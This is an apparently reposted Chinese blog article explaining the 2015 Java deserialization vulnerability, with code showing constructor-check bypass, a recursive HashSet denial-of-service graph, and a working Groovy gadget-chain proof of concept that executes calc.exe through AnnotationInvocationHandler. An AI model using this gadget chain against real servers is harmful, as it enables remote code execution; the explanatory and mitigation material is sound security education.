JAVA 反序列化攻击

转载 2015年12月29日 18:35:17

Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令。

由于目前发现该漏洞存在于 Apache commons-collections, Apache xalan 和 Groovy 包中,也就意味着使用了这些包的服务器(目前发现有WebSphere, WebLogic,JBoss),第三方框架(Spring,Groovy),第三方应用(Jenkins),以及依赖于这些服务器,框架或者直接/间接引用这些包的应用都会受到威胁,这样的应用的数量会以百万计。

说到漏洞存在的原因,根本还在于 Java 序列化自身的缺陷,众所周知,序列化的目的是使 Java 对象转化成字节流,方便存储或者网络上传输。Java 对象分解成字节码过程叫做序列化,从字节码组装成 Java 对象的过程叫做反序列化,这两个过程分别对应于的 writeObject 和 readObject 方法。问题在于 readObject 在利用字节流组装 Java 对象时不会调用构造函数, 也就意味着没有任何类型的检查,用户可以复写 readObject() 方法执行任何希望执行的代码。

这可能会导致三方面问题:

1. 序列化对象修改了对象或者父类的某个未加保护的关键属性,导致未预料的结果。
例如:

class Client {
private int value;
public Client(int v) {
        if (v <= 0) {
            throw new RuntimeException("not positive number");
        }
        value = v;
    }
    public void writeObject(ObjectOutputStream oos) throws IOException {
        int value = 0; //这里该值被改为0。(现实中可以通过调试模式,修改serialize字节码或者class instrument等多种方式修改该值)
        oos.defaultWriteObject();
    }
}
class Controller {
    private ArrayBlockingQueue<Client> queue;
    public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException {
        Client s = (Client)o.readObject(); //反序列化不调用构造函数,value的非零检查不会触发
        queue.add(s);
    }
    public Client getClient() throws InterruptedException {
        return (Client)queue.take();
    }
}
class Server extends Thread {
    private Controller controller = new Controller();
    private int result = 100;
    public void run() {
        while (true) {
            try {
                result = result / controller.getClient().getValue(); // 由于value是0,会导致算数异常,线程结束
                Thread.sleep(100);
            } catch (InterruptedException e) {}
        }
    }
}

2. 攻击者可以创建循环对象链,然后序列化。会导致反序列化无法结束, 空耗系统资源。例如:

Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 10; i++) {
  Set t1 = new HashSet();
  Set t2 = new HashSet();
  t1.add("foo"); //使t2不等于t1
  s1.add(t1);
  s1.add(t2);
  s2.add(t1);
  s2.add(t2);
  s1 = t1;
  s2 = t2; 
}

3. 用户在收到序列化对象流时可以选择存储在本地,以后再处理。由于没有任何校验机制,使得上传恶意程序成为可能。

class Controller {
    public void receiveState(ObjectInputStream ois) {
        FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
        fos.write(ois); //实际并不知道存的是什么,可能是恶意脚本。
        fos.close();
    }
}

那么这次由 FoxGlove 暴露出来的 Serialization Attack 具体是怎样呢?下面是 Groovy 的一个例子:

public class GroovyTest {
public static void main(String[] args) throws Exception {
    final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet");
    Class<?>[] clsArr = {Map.class};
    final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure));
    final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
    ctor.setAccessible(true);
    final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map);
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(handler);
    byte[] bytes = bos.toByteArray(); //对象被序列化
    ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
    ObjectInputStream ois = new ObjectInputStream(bis);
    ois.readObject(); //反序列化时calc.exe被执行
}
}

在这个例子中,ConvertedClosure 会把一个 Closure 对象映射成 Java 的 entrySet 方法,而在AnnotationInvocationHandler 的 readObject 方法中,会尝试调用 entrySet() 方法,这会触发 calc.exe 的调用。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if(var7 != null) {
            Object var8 = var5.getValue();
            if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}

针对这个问题,FoxGlove Security 提到开发者不应该反序列化任何不信任的数据,而实际情况却是开发者对该问题的危害没有足够的认知,他提到一种激进的做法那就是如果你足够勇敢可以尝试扫描并删除存在反序列化漏洞的类,但是实际情况是第一没有人敢于冒这种风险,第二,当应用对象的依赖关系会很复杂,反序列化过程会导致很多关联对象被创建,所以扫描不能保证所有的问题类被发现。

然而幸运的是,这个问题引起了一些安全公司的重视,在他们推出的 RASP(Runtime Application Security Protection)产品中会在应用运行期对该漏洞进行防护。

本文转自 OneAPM 官方博客

Java序列化与反序列化

Java序列化与反序列化是什么?为什么需要序列化与反序列化?如何实现Java序列化与反序列化?本文围绕这些问题进行了探讨。  1.Java序列化与反序列化  Java序列化是指把Java对象转换为...
  • wangloveall
  • wangloveall
  • 2012年09月18日 16:48
  • 191155

Java反序列化漏洞通用利用分析

原文出处: https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/#h4.1_利用过程概述1 背景2015年11月6日,FoxGlove S...
  • antony9118
  • antony9118
  • 2017年05月07日 14:21
  • 1613

Java的序列化和反序列化,我所遇到的坑

有时需要为对象做持久化,就是把内存里的对象保存到磁盘(暂且叫做磁盘吧,可以等同于sp、db、文件、网络等)上,等以后需要这个对象的时候再从磁盘上还原到内存,因此需要序列化和反序列化。 坑1、类里面...
  • w958796636
  • w958796636
  • 2017年01月19日 18:04
  • 1212

Java反序列化漏洞通用利用分析

 1 背景 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogi...
  • gl74gs48
  • gl74gs48
  • 2016年05月20日 10:53
  • 7277

Java反序列化漏洞详解

 Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Po...
  • fengling59
  • fengling59
  • 2015年12月26日 21:25
  • 2620

修复weblogic的JAVA反序列化漏洞的多种方法

0x00 前言 目前oracle还没有在公开途径发布weblogic的JAVA反序列化漏洞的官方补丁,目前看到的修复方法无非两条: 使用SerialKiller替换进行序列化操作的Obje...
  • czl8897098
  • czl8897098
  • 2016年07月17日 18:00
  • 8281

Java 反序列化攻击

转载自:http://www.iteye.com/news/31247 Java 反序列化攻击漏洞由FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行...
  • u012377333
  • u012377333
  • 2016年01月05日 09:11
  • 369

JAVA 反序列化攻击

Java 反序列化攻击漏洞由 FoxGlove 的最近的一篇博文爆出,该漏洞可以被黑客利用向服务器上传恶意脚本,或者远程执行命令。...
  • wangpeng198688
  • wangpeng198688
  • 2015年12月29日 18:19
  • 343

Java对象反序列化防护

最近一直曝光的开源软件第三方反序列化漏洞: CVE-2015-7501Commons Collections Java反序列化漏洞 Springframework 反序列化RCE漏洞 都是由于Java...
  • raintungli
  • raintungli
  • 2016年07月07日 23:14
  • 1872

Java对象序列化与反序列化

Java对象转换为字节序列的过程称为序列化,用途是对象永久保存、传输。序列化运行时使用一个称为 serialVersionUID 的版本号与每个可序列化类相关联,该序列号在反序列化过程中用于验证序列化...
  • BonJean
  • BonJean
  • 2016年07月25日 22:59
  • 2514
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:JAVA 反序列化攻击
举报原因:
原因补充:

(最多只允许输入30个字)